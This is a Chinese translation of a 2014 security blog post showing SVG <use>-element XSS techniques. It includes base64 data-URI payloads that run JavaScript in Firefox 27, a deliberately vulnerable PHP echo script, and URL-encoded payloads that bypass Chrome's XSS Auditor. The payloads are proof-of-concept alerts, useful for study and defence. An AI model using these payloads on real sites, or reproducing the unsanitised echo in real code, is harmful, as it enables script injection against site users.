[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html
====================== SVG - <use> element ======================
SVG中的<use>元素用於重用其他元素,主要用於聯接<defs>和alike,而我們卻用它來引用外部SVG文件中的元素
元素通過其id被引用,在<use>標簽的xlink:href屬性中以'#'井字符開頭,外部元素的引用同樣如此
基本結構如下所示:
test.html
<svg> <use xlink:href='external.svg#rectangle' /> </svg>
external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:href="javascript:alert(location)"> <rect x="0" y="0" width="100" height="100" /> </a> </svg>
sxternal.svg文件以<svg>標簽開始,其id設置為rectangle(矩形),使用<rect>標簽繪一個矩形。可以使用<a>環繞<rect>標簽,這樣會創建一個超鏈接。使用Javascript的url協議,可點擊的超鏈接在點擊后會執行Javascript。
雖然SVG是經由<use>標簽加載的,Javascript將會得到執行。有一點需要注意,它只能加載SVG文件,必須滿足同源策略
======================
FIREFOX
======================
由於加載的外部SVG文件必須是同源的,這個特性看起來似乎無法作為有用的XSS攻擊向量,但Firefox會幫我們提升這個攻擊向量
首先,你可以使用data:url協議,它允許我們百忙之中從內部創建一個文件。它要求正確的mime-type,在這里為image/svg+xml。mimie-type后是我們的攻擊載荷或關鍵字base64。特別地,由於數據被base64編碼,這有助於避免突破HTML結構的問題。
現在我們不必再依賴於服務器上的另一個文件了:
test.html:
<svg> <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW 5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8 YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd mc+#rectangle" /> </svg>
解碼后的base64載荷:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:href="javascript:alert(location)"> <rect x="0" y="0" width="100" height="100" /> </a> </svg>
瀏覽器會顯示出一個黑色的矩形,當點擊時會彈出其location
但是為什么要煩擾受害者去點擊呢,他們從來都不會去做該做的事:)
external.svg中的<script>標簽不會被解析,但是SVG支持<foreignObject>元素 通過闡述這個對象需要的擴展屬性,有可能加載非SVG元素
這就意味着現在有可能是有<iframe>、<embed>及其他所有支持的HTML元素了,我們可以從一堆元素中進行選擇執行Javascript,這里使用<embed>+JavascriptURL協議
看如下SVG:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <script>alert(1)</script> <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml"> <embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" /> </foreignObject> </svg>
它會通過<foreignObject>加載嵌入的標簽,使用JavascriptURL協議執行Javascript
然后我們用base64對載荷進行編碼,通過data:協議加載它
test.html
<svg> <use xlink:href="data:image/svg+xml;base64, PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW 5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+ PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3 JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" /> </svg>
在這個案例中,test.html用Firefox27打開,會彈出location:

這樣我們在SVG中就有了另一個能執行Javascript的向量了
另外,在攻擊載荷中包含了一個<script>alert(1)</script>,這證明了<script>標簽不會被解析
====================== CHROME XSS Auditor Bypass ======================
現在用這個特性來對付Chrome,Chrome不支持<use>標簽xlink:href屬性中的data:URL協議,另外目前還沒有找到無需用戶交互便執行Javascript的方法
不過至少在右用戶交互的情況下,可以Bypass Blink/Webkit XSS Auditor
這里不需要用到參數污染,有一個參數就夠了,Blink/Webkit XSS Audito無法捕獲將參數拆分成兩個或多個的XSS攻擊
看一下這個php腳本(xss.php):
<?php echo "<body>"; echo $_GET['x']; echo "</body>"; ?>
這個腳本存在XSS漏洞,但是使用下面這樣的載荷則會觸發XSS Auditor:
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
因此,讓我們使用<use>元素吧
====================== Creating the SVG on the fly ====================== 我們想加載另外的SVG文件,因此我們以<svg><use xlink:href= 開始
但是等一下,它必須滿足同源,我們不能使用data偽協議,該怎么獲取服務器上的文件呢?
很簡單,我們在一行中兩次利用XSS漏洞!首先,我們構建一個URL,制作一個包含了Javascript URL為偽協議的SVG
http://site.com/xss.php?
x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>
如果你將整個URL粘貼到沒有XSS Filter的瀏覽器,馬上就會出現一個黑色的矩形。但是前面已經提到過,Chrome的XSS Auditor會捕獲這種攻擊,還是繼續吧:
現在我們要在<use>元素中使用創建的SVG文件,制造一個形如這樣的URL:
http://site.com/xss.php? x=<svg><use height=200 width=200 xlink:href='http://vulnerabledomain.com/xss.php ?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:href="javascript:alert(location)"> <rect class="blue" x="0" y="0" width="100" height="100"/> </a></svg>#rectangle'/></svg>
不要忘了進行URL編碼:
http://site.com/xss.php? x=%3Csvg%3E%3Cuse%20height=200%20width=200%20 xlink:href=%27http://site.com/xss.php? x=%3Csvg%20id%3D%22rectangle%22%20 xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20 xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20 %20%20%20width%3D%22100%22%20height%3D%22100%22%3E %3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E %3Crect%20class%3D%22blue%22%20x%3D%220%22%20 y%3D%220%22%20width%3D%22100%22 %20height%3D%22100%22%20%2F%3E %3C%2Fa%3E %3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E
這下應該會顯示出矩形了,點擊就會執行alert,但是這一次沒有觸發XSS Auditor :)